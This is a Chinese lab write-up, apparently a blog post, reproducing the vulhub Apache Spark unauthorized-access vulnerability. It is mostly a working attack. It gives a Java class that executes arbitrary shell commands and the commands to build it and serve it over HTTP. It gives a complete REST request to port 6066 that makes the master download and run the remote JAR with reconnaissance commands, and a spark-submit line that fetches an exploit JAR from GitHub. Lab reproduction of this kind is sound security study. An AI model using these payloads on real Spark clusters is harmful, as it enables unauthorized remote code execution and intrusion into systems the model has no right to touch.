vulhub漏洞复现65_Spark

 Apache Spark 未授权访问漏洞

漏洞详情

Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动ACL(访问控制),我们将可以在集群中执行任意代码。

参考链接:

 - https://weibo.com/ttarticle/p/show?id=2309404187794313453016

 - https://xz.aliyun.com/t/2490

漏洞环境

靶场:192.168.4.10_ubuntu

执行如下命令,将以standalone模式启动一个Apache Spark集群,集群里有一个master与一个slave:

#docker-compose up -d

环境启动后,访问`http://your-ip:8080`即可看到master的管理页面

 访问`http://your-ip:8081`即可看到slave的管理页面。

 

漏洞利用

该漏洞本质是未授权的用户可以向管理节点提交一个应用,这个应用实际上是恶意代码。

提交方式有两种:

1. 利用REST API

2. 利用submissions网关(集成在7077端口中)

应用可以是Java或Python,就是一个最简单的类,如(参考链接1):

```java

import java.io.BufferedReader;

import java.io.InputStreamReader;

public class Exploit {

  public static void main(String[] args) throws Exception {

    String[] cmds = args[0].split(",");

    for (String cmd : cmds) {

      System.out.println(cmd);

      System.out.println(executeCommand(cmd.trim()));

      System.out.println("==============================================");

    }

  }

  // https://www.mkyong.com/java/how-to-execute-shell-command-from-java/

  private static String executeCommand(String command) {

    StringBuilder output = new StringBuilder();

    try {

      Process p = Runtime.getRuntime().exec(command);

      p.waitFor();

      BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));

      String line;

      while ((line = reader.readLine()) != null) {

        output.append(line).append("\n");

      }

    } catch (Exception e) {

      e.printStackTrace();

    }

    return output.toString();

  }

}

```

将其编译成JAR,放在任意一个HTTP或FTP上,如`http://192.168.4.29:9999/Exploit.jar`。

#javac Exploit.java

#jac cvf Exploit.jar Exploit.class

#python3 -m http.server 9999

 

### 用REST API方式提交应用

standalone模式下,master将在6066端口启动一个HTTP服务器,我们向这个端口提交REST格式的API:

```

POST /v1/submissions/create HTTP/1.1

Host: your-ip:6066

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Content-Type: application/json

Connection: close

Content-Length: 680

{

  "action": "CreateSubmissionRequest",

  "clientSparkVersion": "2.3.1",

  "appArgs": [

    "whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"

  ],

  "appResource": "http://192.168.4.29:9999/Exploit.jar",

  "environmentVariables": {

    "SPARK_ENV_LOADED": "1"

  },

  "mainClass": "Exploit",

  "sparkProperties": {

    "spark.jars": "http://192.168.4.29:9999/Exploit.jar",

    "spark.driver.supervise": "false",

    "spark.app.name": "Exploit",

    "spark.eventLog.enabled": "true",

    "spark.submit.deployMode": "cluster",

    "spark.master": "spark://your-ip:6066"

  }

}

```

其中,`spark.jars`即是编译好的应用,mainClass是待运行的类,appArgs是传给应用的参数。

 

返回的包中有submissionId,然后访问`http://your-ip:8081/logPage/?driverId={submissionId}&logType=stdout`,即可查看执行结果:

#http://192.168.4.10:8081/logPage/?driverId=driver-20220212152052-0000&logType=stdout

 

注意,提交应用是在master中,查看结果是在具体执行这个应用的slave里(默认8081端口)。实战中,由于slave可能有多个。

### 利用submissions网关

如果6066端口不能访问,或做了权限控制,我们可以利用master的主端口7077,来提交应用。

方法是利用Apache Spark自带的脚本`bin/spark-submit`:

#docker ps

#docker exec -it 1fc8f88073b3 /bin/bash

```

bin/spark-submit --master spark://your-ip:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id

```

如果你指定的master参数是rest服务器,这个脚本会先尝试使用rest api来提交应用;如果发现不是rest服务器,则会降级到使用submission gateway来提交应用。

查看结果的方式与前面一致。

#http://192.168.4.10:8081/logPage/?driverId=driver-20220212153615-0001&logType=stdout

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值